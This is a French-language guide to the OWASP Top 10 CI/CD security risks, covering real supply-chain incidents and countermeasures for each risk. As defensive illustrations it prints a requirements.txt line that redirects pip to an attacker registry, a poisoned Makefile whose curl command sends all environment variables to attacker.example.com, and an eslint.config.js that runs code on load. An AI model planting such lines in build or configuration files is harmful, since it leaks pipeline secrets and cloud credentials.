Vos pipelines CI/CD déploient du code en production plusieurs fois par jour. Mais un seul Makefile modifié dans une pull request peut exfiltrer tous vos secrets cloud. Un eslint.config.js piégé dans une PR exécute du JavaScript arbitraire sur votre runner. Ce guide présente les 10 risques de sécurité CI/CD identifiés par l’OWASP, illustre chacun avec des attaques réelles et des exemples concrets d’exploitation, et propose les contre-mesures à appliquer en priorité.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Les 10 risques OWASP CI/CD : ce que chacun signifie concrètement et pourquoi il est classé dans le top 10
- Les attaques réelles : SolarWinds, Codecov, tj-actions — comment elles ont exploité ces failles
- Des exemples concrets d’exploitation : comment un
Makefile, uneslint.config.jsou unrequirements.txtpiégé compromet un pipeline via une pull request - Les contre-mesures : pour chaque risque, les actions à mettre en place immédiatement
Pourquoi sécuriser votre pipeline CI/CD ?
Section intitulée « Pourquoi sécuriser votre pipeline CI/CD ? »Un pipeline CI/CD est le chemin le plus direct entre un développeur et la production. Il manipule du code source, des secrets, des artefacts et des accès à l’infrastructure. Si un attaquant compromet ce chemin, il peut :
- Injecter du code malveillant directement dans vos artefacts de production
- Voler des secrets (clés API, tokens, certificats) pour accéder à vos systèmes
- Contaminer votre chaîne d’approvisionnement et tous vos clients en aval
- Persister dans votre infrastructure via des backdoors indétectables
Attaques récentes : pourquoi ces risques sont réels
Section intitulée « Attaques récentes : pourquoi ces risques sont réels »Avant d’analyser chaque risque, voici quatre attaques majeures qui illustrent la criticité de la sécurité CI/CD. Chacune exploite un ou plusieurs des 10 risques OWASP.
Attaque de la chaîne d’approvisionnement SolarWinds
Des attaquants (probablement étatiques) ont compromis le pipeline CI/CD de SolarWinds pour injecter une backdoor dans les mises à jour du logiciel Orion.
Impact : 18 000 organisations infectées, dont des agences gouvernementales américaines et des entreprises Fortune 500.
Risques OWASP exploités :
- CICD-SEC-1 : Insufficient Flow Control Mechanisms
- CICD-SEC-10 : Insufficient Logging and Visibility
Incident Codecov Bash Uploader
Un attaquant a modifié le script Bash Uploader de Codecov pour exfiltrer les variables d’environnement (dont les secrets) de tous les pipelines l’utilisant.
Impact : des milliers de pipelines CI ont transmis leurs secrets à l’attaquant pendant plusieurs mois.
Risques OWASP exploités :
- CICD-SEC-6 : Insufficient Credential Hygiene
- CICD-SEC-9 : Improper Artifact Integrity Validation
Compromission du dépôt PHP
Des attaquants ont poussé des commits malveillants directement sur le dépôt officiel de PHP, tentant d’injecter une backdoor dans le langage lui-même.
Impact : détecté rapidement, mais a démontré la vulnérabilité des projets open source majeurs.
Risques OWASP exploités :
- CICD-SEC-2 : Inadequate Identity and Access Management
- CICD-SEC-4 : Poisoned Pipeline Execution
Attaque GitHub Actions tj-actions/changed-files (CVE-2025-30066)
En mars 2025, des attaquants ont compromis l’action GitHub tj-actions/changed-files (23 000+ dépôts) en modifiant rétroactivement les tags de version. Le code malveillant extrayait les secrets de la mémoire du runner et les affichait dans les logs — accessibles publiquement sur les dépôts open source.
Mécanisme d’attaque :
- Compromission de
reviewdog/action-setupvia un PAT volé - Utilisation de ce vecteur pour obtenir un token avec droits d’écriture sur
tj-actions/changed-files - Modification de tous les tags pour pointer vers un commit malveillant
- Exfiltration des secrets vers les logs GitHub Actions
Impact : exposition potentielle des secrets de milliers de projets, dont Coinbase/agentkit ciblé spécifiquement.
Risques OWASP exploités :
- CICD-SEC-3 : Dependency Chain Abuse
- CICD-SEC-6 : Insufficient Credential Hygiene
- CICD-SEC-8 : Ungoverned Usage of 3rd Party Services
Les 10 risques de sécurité CI/CD selon OWASP
Section intitulée « Les 10 risques de sécurité CI/CD selon OWASP »L’OWASP classe ces risques en trois grandes familles :
- Contrôle et accès (SEC-1, SEC-2, SEC-5, SEC-10) — qui peut faire quoi dans le pipeline et avec quelle traçabilité
- Code et dépendances (SEC-3, SEC-4, SEC-8, SEC-9) — d’où vient ce qui entre et sort du pipeline, et comment le vérifier
- Secrets et configuration (SEC-6, SEC-7) — comment protéger les informations sensibles et durcir l’infrastructure
CICD-SEC-1 : Insufficient Flow Control Mechanisms
Section intitulée « CICD-SEC-1 : Insufficient Flow Control Mechanisms »Mécanismes de contrôle de flux insuffisants
Le risque expliqué
Section intitulée « Le risque expliqué »Les pipelines CI/CD sont des chaînes d’étapes automatisées. Si ces étapes s’enchaînent sans « portes » (gates) de validation, un commit malveillant peut traverser tout le pipeline et atteindre la production en quelques minutes. C’est ce qui s’est passé avec SolarWinds : l’absence de contrôles a permis à du code malveillant de se propager jusqu’aux mises à jour distribuées aux 18 000 clients.
Problèmes courants
Section intitulée « Problèmes courants »- Déploiement automatique en production sans approbation humaine
- Pas de séparation entre environnements (dev → staging → prod)
- Absence de tests de sécurité bloquants dans le pipeline
- Merge automatique sans revue de code obligatoire
Recommandations
Section intitulée « Recommandations »-
Implémenter des gates obligatoires
Ajoutez des étapes de validation (tests automatisés, scans de sécurité, revues de code) qui doivent réussir avant de passer à l’étape suivante.
-
Exiger des approbations manuelles pour la production
Configurez votre pipeline pour qu’un humain valide explicitement tout déploiement en production. Sur GitHub Actions, utilisez les environnements avec approbation requise.
-
Segmenter les environnements
Séparez clairement dev, staging et production. Limitez la promotion automatique aux environnements non critiques.
-
Utiliser des pipelines multi-stades
Définissez des étapes distinctes avec des conditions de passage explicites : tests unitaires → tests d’intégration → scan de sécurité → approbation → déploiement.
CICD-SEC-2 : Inadequate Identity and Access Management
Section intitulée « CICD-SEC-2 : Inadequate Identity and Access Management »Gestion des identités et des accès inadéquate
Le risque expliqué
Section intitulée « Le risque expliqué »Les pipelines CI/CD manipulent du code source, des secrets, des artefacts et des accès à l’infrastructure de production. Si n’importe qui peut accéder à ces ressources, ou si des comptes compromis ont des privilèges excessifs, la surface d’attaque explose. La compromission du dépôt PHP a été rendue possible parce qu’un attaquant a obtenu des droits de push sur le dépôt officiel.
Problèmes courants
Section intitulée « Problèmes courants »- Comptes partagés entre plusieurs personnes ou équipes
- Absence d’authentification forte (MFA) sur les comptes privilégiés
- Droits administratifs accordés par défaut à tous les membres d’un projet
- Pas de révocation des accès lors des départs
Recommandations
Section intitulée « Recommandations »-
Implémenter le RBAC (Role-Based Access Control)
Définissez des rôles précis (développeur, reviewer, déployeur, admin) avec les permissions minimales nécessaires pour chaque rôle.
-
Activer la MFA pour tous les comptes
L’authentification multi-facteurs est non négociable pour tout accès au pipeline, au dépôt de code et aux secrets.
-
Auditer régulièrement les accès
Revoyez trimestriellement qui a accès à quoi. Supprimez les accès obsolètes.
-
Utiliser des identités fédérées
Connectez votre CI/CD à votre IdP (Identity Provider) pour centraliser la gestion des identités et automatiser les révocations.
CICD-SEC-3 : Dependency Chain Abuse
Section intitulée « CICD-SEC-3 : Dependency Chain Abuse »Abus de la chaîne de dépendances
Le risque expliqué
Section intitulée « Le risque expliqué »Un pipeline CI/CD télécharge typiquement des dizaines de dépendances : bibliothèques, images Docker, outils. Chaque dépendance est un point d’entrée potentiel pour un attaquant. Les techniques d’abus sont variées :
- Dependency confusion — publier un paquet malveillant sur un registre public avec le même nom qu’un paquet interne, en espérant que le gestionnaire de paquets télécharge la version publique par erreur
- Dependency hijacking — compromettre le compte d’un mainteneur pour publier une version malveillante d’un paquet existant (comme ua-parser-js en 2021)
- Typosquatting — publier un paquet dont le nom ressemble à un paquet populaire (
express→ecpress,lodash→1odash) - Registry redirect — modifier la configuration du gestionnaire de paquets dans une PR pour rediriger les téléchargements vers un registre contrôlé par l’attaquant
Attaques récentes
Section intitulée « Attaques récentes »| Attaque | Année | Mécanisme | Impact |
|---|---|---|---|
| ua-parser-js | 2021 | Hijacking du compte npm | Crypto-miner installé sur des millions de machines |
| coa / rc | 2021 | Hijacking de comptes npm | Exfiltration de données |
| colors / faker | 2022 | Sabotage par le mainteneur | DoS sur des milliers d’applications |
| tj-actions | 2025 | Modification rétroactive des tags | Secrets de 23 000+ dépôts exposés |
Exploitation concrète : redirection de registre pip via une pull request
Section intitulée « Exploitation concrète : redirection de registre pip via une pull request »Le référentiel LOTP (Living Off The Pipeline) catalogue les outils de développement dont les fonctionnalités légitimes peuvent être détournées dans un pipeline CI/CD. L’un des vecteurs les plus discrets de CICD-SEC-3 est la redirection de registre : l’attaquant ne modifie pas le code, il modifie d’où le code est téléchargé.
Le mécanisme est simple. Il suffit d’ajouter un flag -i dans le fichier requirements.txt d’un projet Python pour rediriger toutes les installations vers un registre malveillant :
-i https://evil-registry.example.com/simple/requests==2.31.0flask==3.0.0Dans un pipeline CI/CD qui exécute pip install -r requirements.txt, pip obtempère : il télécharge les paquets depuis le registre indiqué au lieu de PyPI. L’attaquant publie sur son faux registre des versions piégées de requests et flask qui contiennent un setup.py avec du code d’exfiltration.
La parade : forcer l’index en ligne de commande dans le workflow, pas dans un fichier que la PR peut modifier :
- run: pip install -r requirements.txt -i https://pypi.org/simple/ --require-hashesRecommandations
Section intitulée « Recommandations »-
Scanner les dépendances pour les vulnérabilités
Utilisez des outils comme Trivy, Grype ou OWASP Dependency-Check dans votre pipeline. Bloquez le build si des CVE critiques sont détectées.
-
Verrouiller les versions et les hashes
Utilisez des fichiers de lock (
package-lock.json,requirements.txtavec hashes,go.sum) et épinglez les versions exactes. Activez--require-hashesavec pip. -
Forcer le registre en ligne de commande
Ne faites jamais confiance au fichier de configuration d’un dépôt pour définir le registre. Forcez-le dans le workflow CI :
- run: pip install -r requirements.txt -i https://pypi.org/simple/- run: npm config set registry https://registry.npmjs.org/ -
Utiliser un proxy / miroir interne
Mettez en cache vos dépendances dans un registre interne (Nexus, Artifactory) pour contrôler ce qui entre dans votre pipeline.
-
Vérifier la provenance
Privilégiez les packages signés. Vérifiez les attestations SLSA quand disponibles.
CICD-SEC-4 : Poisoned Pipeline Execution (PPE)
Section intitulée « CICD-SEC-4 : Poisoned Pipeline Execution (PPE) »Exécution de pipeline empoisonné
Le risque expliqué
Section intitulée « Le risque expliqué »Les pipelines CI/CD sont souvent définis par des fichiers versionnés dans le dépôt de code (Pipeline as Code). L’OWASP distingue trois variantes de PPE selon la manière dont l’attaquant injecte son code :
| Type | Ce que l’attaquant modifie | Exemple |
|---|---|---|
| Direct PPE (D-PPE) | Le fichier de définition du pipeline lui-même | .github/workflows/ci.yml, .gitlab-ci.yml, Jenkinsfile |
| Indirect PPE (I-PPE) | Un fichier que le pipeline appelle sans le savoir | Makefile, eslint.config.js, build.gradle, .pylintrc |
| Public PPE (3PE) | PR depuis un fork sur un projet open source | Tout fichier modifiable via un fork |
La variante Indirect PPE est la plus dangereuse car elle passe sous le radar : le fichier de pipeline lui-même n’est pas modifié, la protection de branche est respectée, mais le code exécuté par le pipeline a été empoisonné.
Exploitation concrète : Indirect PPE via un Makefile
Section intitulée « Exploitation concrète : Indirect PPE via un Makefile »Imaginons un pipeline Jenkins classique. Le Jenkinsfile est protégé — il est stocké sur la branche main et nécessite une approbation pour être modifié. Mais le Makefile, lui, fait partie du code source. N’importe qui peut le modifier dans une pull request.
Le Jenkinsfile appelle make build pendant l’étape de build :
pipeline { agent any stages { stage('build') { steps { withAWS(credentials: 'AWS_key', region: 'us-east-1') { sh 'make build' sh 'make clean' } } } stage('test') { steps { sh 'go test -v ./...' } } }}Le Makefile légitime :
build: echo "building..."
clean: echo "cleaning..."L’attaquant soumet une PR qui modifie le Makefile. La modification semble anodine — un ajout de cible ou un changement de commande de build :
build: curl -d "$$(env)" https://attacker.example.com/collect echo "building..."
clean: echo "cleaning..."Le pipeline déclenché par la PR exécute make build dans un contexte où les credentials AWS sont chargées en variables d’environnement. La commande curl -d "$$(env)" envoie toutes les variables d’environnement (dont les secrets AWS) vers le serveur de l’attaquant. Le job se termine normalement — personne ne remarque rien.
Exploitation concrète : Indirect PPE via eslint.config.js
Section intitulée « Exploitation concrète : Indirect PPE via eslint.config.js »Autre vecteur catalogué par LOTP : les fichiers de configuration en JavaScript. Quand votre pipeline exécute npx eslint ., Node.js charge et exécute le fichier eslint.config.js. Ce n’est pas un fichier de configuration passif — c’est un module JavaScript complet.
Un attaquant soumet une PR qui modifie eslint.config.js pour ajouter du code exécuté au chargement :
// Code malveillant exécuté au chargement du config par Node.jsconst os = require("os");console.log(`[EXFIL] hostname=${os.hostname()}, user=${os.userInfo().username}`);
// Configuration ESLint normale — le code ci-dessus est difficile à repérer en reviewmodule.exports = [ { rules: { "no-unused-vars": "warn", }, },];Le pipeline exécute npx eslint . et le code de l’attaquant s’exécute avant même la moindre vérification de code. Dans un contexte réel, l’attaquant remplacerait le console.log par un fetch() envoyant process.env (contenant tous les secrets) vers son serveur.
Recommandations
Section intitulée « Recommandations »-
Isoler les runners
Utilisez des runners éphémères (conteneurs ou VMs jetables). Chaque job doit démarrer dans un environnement propre. Sur GitHub Actions, les runners hébergés le sont déjà. Pour les self-hosted, configurez le mode
--ephemeral. -
Séparer les pipelines par niveau de confiance
Créez un pipeline untrusted (sur les PR, sans secrets,
permissions: read-all) et un pipeline trusted (sur les merges, avec secrets). Le code d’une PR n’a pas été validé — il ne devrait jamais avoir accès aux secrets. -
Protéger les fichiers exploitables avec CODEOWNERS
Exigez une approbation de l’équipe sécurité pour toute modification de
Makefile,eslint.config.js,package.json,.pylintrcet autres fichiers catalogués par LOTP :CODEOWNERS Makefile @security-teameslint.config.js @security-teampackage.json @security-team.pylintrc @security-team -
Forcer la configuration des linters en ligne de commande
Ignorez les fichiers de configuration locaux du dépôt et utilisez une version approuvée :
Fenêtre de terminal # Ignorer les configs locales du dépôteslint --config /opt/ci-configs/eslint.config.js src/pylint --rcfile=/dev/null src/ -
Restreindre les pull requests externes
Exigez une approbation manuelle avant d’exécuter le pipeline sur les PR provenant de forks. Limitez l’accès aux secrets pour ces PR.
-
Scanner les workflows avec des outils dédiés
Utilisez Poutine et Zizmor pour analyser vos définitions de pipeline et détecter les vulnérabilités connues.
CICD-SEC-5 : Insufficient PBAC (Pipeline-Based Access Controls)
Section intitulée « CICD-SEC-5 : Insufficient PBAC (Pipeline-Based Access Controls) »Contrôles d’accès basés sur le pipeline insuffisants
Le risque expliqué
Section intitulée « Le risque expliqué »Le PBAC (Pipeline-Based Access Control) définit quels jobs, étapes et environnements sont accessibles à quel moment et avec quels privilèges. Sans segmentation fine, un attaquant qui compromet un job de test peut pivoter vers les jobs de déploiement.
L’analogie : une entreprise où la même clé ouvre toutes les portes — du placard à fournitures au coffre-fort. Si quelqu’un trouve cette clé, il a accès à tout. Dans un pipeline, c’est la même chose quand tous les jobs partagent les mêmes secrets et les mêmes permissions.
Problèmes courants
Section intitulée « Problèmes courants »- Tous les jobs ont accès aux mêmes secrets
- Pas de séparation entre les jobs « build » et « deploy »
- Tokens avec des permissions excessives (lecture + écriture sur tout)
- Pas de restrictions sur quels jobs peuvent modifier quels artefacts
Recommandations
Section intitulée « Recommandations »-
Appliquer le moindre privilège par job
Chaque job ne doit avoir accès qu’aux ressources strictement nécessaires à sa tâche. Un job de lint n’a pas besoin des secrets de déploiement. Dans GitHub Actions, déclarez
permissions:explicitement dans chaque job. -
Séparer les runners par niveau de criticité
Utilisez des runners différents pour les jobs sensibles (déploiement, accès production) et les jobs non sensibles (tests, lint).
-
Utiliser des tokens à durée limitée
Privilégiez les tokens éphémères (OIDC) plutôt que des secrets statiques. Limitez leur durée de vie au minimum nécessaire. GitHub Actions, GitLab CI et les principaux clouds (AWS, GCP, Azure) supportent tous l’authentification OIDC.
-
Monitorer l’utilisation des ressources
Alertez sur les accès inhabituels : job de test qui accède à des secrets de production, accès à des ressources en dehors des heures normales.
CICD-SEC-6 : Insufficient Credential Hygiene
Section intitulée « CICD-SEC-6 : Insufficient Credential Hygiene »Hygiène des identifiants insuffisante
Le risque expliqué
Section intitulée « Le risque expliqué »Un pipeline CI/CD manipule de nombreux secrets : clés API, tokens d’accès aux clouds, certificats, credentials de bases de données. Ces secrets sont souvent mal protégés : stockés en clair, partagés entre équipes, jamais renouvelés.
L’attaque tj-actions de 2025 a spécifiquement ciblé l’exfiltration de secrets depuis la mémoire des runners. Les secrets étaient encodés en base64 pour contourner le masquage automatique des logs GitHub Actions.
Problèmes courants
Section intitulée « Problèmes courants »- Secrets en clair dans les fichiers de configuration (
.yml,.env,Dockerfile) - Partage des mêmes clés entre plusieurs équipes ou projets
- Pas de rotation périodique (certains secrets ont 5+ ans)
- Secrets affichés dans les logs de build
Recommandations
Section intitulée « Recommandations »-
Utiliser un gestionnaire de secrets
HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GitLab/GitHub native secrets. Ne stockez jamais de secrets dans le code source.
-
Scanner le code pour détecter les secrets exposés
Intégrez Gitleaks, TruffleHog ou GitHub Secret Scanning dans votre pipeline. Bloquez les commits contenant des secrets.
-
Automatiser la rotation
Configurez une rotation automatique des secrets critiques (tokens cloud, clés API). Idéalement tous les 30-90 jours.
-
Masquer les secrets dans les logs
Configurez votre CI/CD pour masquer automatiquement les valeurs des secrets dans les outputs. Attention : l’attaque tj-actions a contourné ce mécanisme en encodant les secrets en base64.
CICD-SEC-7 : Insecure System Configuration
Section intitulée « CICD-SEC-7 : Insecure System Configuration »Configuration système non sécurisée
Le risque expliqué
Section intitulée « Le risque expliqué »Jenkins, GitLab CI, CircleCI, GitHub Actions : toutes ces plateformes ont des configurations par défaut pensées pour la facilité d’utilisation, pas pour la sécurité. Mots de passe par défaut, ports d’administration exposés, chiffrement désactivé — autant de vecteurs d’attaque si vous ne durcissez pas votre installation.
C’est comme acheter une serrure sans la verrouiller : le mécanisme est là, mais la protection est nulle.
Problèmes courants
Section intitulée « Problèmes courants »- Mots de passe par défaut non modifiés (
admin/admin) - Interfaces d’administration exposées sur Internet
- Communications non chiffrées entre composants
- Plugins obsolètes avec des vulnérabilités connues
- Debug / verbose logging activé en production
- Variables d’environnement exploitables (
BASH_ENV,_JAVA_OPTIONS,TAR_OPTIONS,npm_config_*) — voir le guide dédié Empoisonnement de variables d’environnement
Recommandations
Section intitulée « Recommandations »-
Changer tous les mots de passe par défaut
Dès l’installation, remplacez tous les credentials par défaut par des mots de passe forts et uniques.
-
Activer TLS partout
Chiffrez toutes les communications : UI web, API, communication avec les runners, accès aux registres d’artefacts.
-
Restreindre l’accès réseau
Placez votre CI/CD derrière un VPN ou un bastion. N’exposez jamais l’interface d’administration sur Internet.
-
Maintenir les plugins à jour
Les plugins sont souvent le maillon faible. Auditez-les régulièrement, supprimez ceux inutilisés, mettez à jour les autres.
CICD-SEC-8 : Ungoverned Usage of 3rd Party Services
Section intitulée « CICD-SEC-8 : Ungoverned Usage of 3rd Party Services »Usage non gouverné des services tiers
Le risque expliqué
Section intitulée « Le risque expliqué »Les pipelines modernes intègrent de nombreux services tiers : actions GitHub de la marketplace, plugins Jenkins, services SaaS de scan ou d’analyse. Chaque intégration est une extension de confiance : vous autorisez ce service à accéder à votre code, vos secrets, vos artefacts.
L’attaque tj-actions a démontré le risque : une action utilisée par 23 000+ dépôts, jamais auditée, a été compromise par une chaîne d’attaques commençant par le vol d’un PAT (Personal Access Token).
Problèmes courants
Section intitulée « Problèmes courants »- Utilisation d’actions/plugins sans audit préalable
- Confiance aveugle dans les services « populaires »
- Pas de contrat ou SLA avec les fournisseurs tiers
- Absence de monitoring de ces intégrations
Recommandations
Section intitulée « Recommandations »-
Auditer avant d’intégrer
Avant d’ajouter une action GitHub ou un plugin, vérifiez : qui la maintient ? Depuis combien de temps ? Le code est-il auditable ? L’organisation est-elle vérifiée ?
-
Épingler les versions par SHA de commit
Ne référencez jamais une action par son tag (
@v1). Un tag peut être modifié rétroactivement pour pointer vers un commit malveillant — c’est exactement ce qui s’est passé avec tj-actions. Utilisez le SHA du commit :# Dangereux : tag mutable- uses: owner/action@v1# Sûr : SHA immuable- uses: owner/action@a1b2c3d4e5f6... -
Limiter les permissions
Utilisez les permissions minimales pour chaque intégration. Une action de lint n’a pas besoin de
writesur le dépôt. -
Monitorer les dépendances tierces
Suivez les CVE et advisories des services que vous utilisez. Configurez Dependabot ou Renovate pour les actions GitHub.
CICD-SEC-9 : Improper Artifact Integrity Validation
Section intitulée « CICD-SEC-9 : Improper Artifact Integrity Validation »Validation incorrecte de l’intégrité des artefacts
Le risque expliqué
Section intitulée « Le risque expliqué »Les artefacts (binaires, images Docker, packages) sont le produit final de votre pipeline. S’ils ne sont pas signés et si leur intégrité n’est pas vérifiée à chaque étape, un attaquant peut les remplacer par des versions malveillantes — soit dans le stockage, soit pendant le transit.
L’analogie est celle d’un colis envoyé sans scellé : n’importe qui peut l’ouvrir, modifier le contenu et le refermer sans que le destinataire s’en aperçoive.
Problèmes courants
Section intitulée « Problèmes courants »- Pas de signature cryptographique des artefacts
- Stockage dans des registres sans contrôle d’accès
- Pas de vérification d’intégrité avant déploiement
- Images Docker avec le tag
latest(mutable)
Recommandations
Section intitulée « Recommandations »-
Signer tous les artefacts
Utilisez Cosign (Sigstore) pour signer vos images Docker. Utilisez GPG ou Sigstore pour les binaires et packages.
-
Générer des attestations SLSA
Créez des attestations de provenance qui prouvent où, quand et comment l’artefact a été construit.
-
Vérifier avant de déployer
Intégrez la vérification de signature dans votre pipeline de déploiement. Refusez tout artefact non signé ou avec une signature invalide.
-
Utiliser des tags immuables
Préférez les digests (
image@sha256:...) aux tags mutables (image:latest). Ou utilisez des tags basés sur le commit/version.
CICD-SEC-10 : Insufficient Logging and Visibility
Section intitulée « CICD-SEC-10 : Insufficient Logging and Visibility »Journalisation et visibilité insuffisantes
Le risque expliqué
Section intitulée « Le risque expliqué »Les attaques sur les pipelines CI/CD sont souvent discrètes : modification d’un fichier de config, exfiltration progressive de secrets, injection de code dans un job spécifique. Sans une journalisation exhaustive et une surveillance active, ces attaques passent inaperçues pendant des mois.
SolarWinds est resté compromis pendant 9 mois avant détection. Les exemples d’Indirect PPE (Makefile, eslint.config.js) présentés dans la section CICD-SEC-4 sont conçus pour être silencieux — le job se termine normalement, rien dans les logs ne signale l’exfiltration.
Problèmes courants
Section intitulée « Problèmes courants »- Logs éparpillés entre différents systèmes, non corrélés
- Pas de surveillance en temps réel des événements critiques
- Rétention des logs trop courte pour l’investigation
- Logs incomplets (pas de trace de qui a fait quoi)
Recommandations
Section intitulée « Recommandations »-
Centraliser les logs
Agrégez tous les logs (CI/CD, git, registres, runners) dans une plateforme centrale : ELK Stack, Splunk, Datadog, Grafana Loki.
-
Configurer des alertes
Alertez sur les événements suspects : connexions inhabituelles, échecs d’authentification répétés, modifications de fichiers de pipeline, accès à des secrets depuis des jobs inattendus.
-
Conserver les logs suffisamment longtemps
Minimum 6 mois, idéalement 12 mois. Les attaques sophistiquées sont souvent découvertes bien après leur début.
-
Inclure le contexte dans les logs
Chaque entrée doit inclure : qui (identité), quoi (action), quand (timestamp précis), où (job, runner, IP), résultat (succès/échec).
Synthèse : les 3 familles de risques
Section intitulée « Synthèse : les 3 familles de risques »| Famille | Risques OWASP | Question à se poser |
|---|---|---|
| Contrôle et accès | SEC-1, SEC-2, SEC-5, SEC-10 | Qui peut déclencher quoi, et est-ce tracé ? |
| Code et dépendances | SEC-3, SEC-4, SEC-8, SEC-9 | D’où vient ce qui entre dans le pipeline, et comment le vérifier ? |
| Secrets et configuration | SEC-6, SEC-7 | Mes secrets sont-ils protégés et mon infrastructure durcie ? |
À retenir
Section intitulée « À retenir »- L’OWASP Top 10 CI/CD couvre les risques spécifiques aux pipelines, pas aux applications web — ce sont deux référentiels distincts
- Les 4 risques les plus exploités dans les incidents récents sont SEC-3 (dependency chain abuse), SEC-4 (PPE), SEC-6 (credential hygiene) et SEC-8 (3rd party services)
- L’Indirect PPE (SEC-4) est le plus dangereux car il exploite des outils légitimes (
make,eslint,pip,pylint) — le fichier de pipeline n’est même pas modifié. Le référentiel LOTP en catalogue 59 - La redirection de registre (SEC-3) transforme un simple
-idansrequirements.txtou un.npmrcmodifié en exfiltration massive — forcez toujours l’index en ligne de commande - Épinglez tout par SHA : actions GitHub, images Docker, dépendances — les tags mutables sont un vecteur d’attaque prouvé (tj-actions 2025)
- Commencez par trois actions immédiates : activez la MFA sur tous les comptes CI/CD, scannez vos secrets avec Gitleaks, et séparez vos pipelines PR (untrusted) des pipelines de merge (trusted)
Prochaines étapes
Section intitulée « Prochaines étapes »Ressources externes
Section intitulée « Ressources externes »- OWASP Top 10 CI/CD Security Risks — liste officielle maintenue par l’OWASP
- CISA Advisory : tj-actions CVE-2025-30066 — alerte gouvernementale sur l’attaque de mars 2025
- SLSA : Supply chain Levels for Software Artifacts — framework de maturité pour la supply chain
- LOTP — Living Off The Pipeline — référentiel des 59 outils exploitables dans les pipelines CI/CD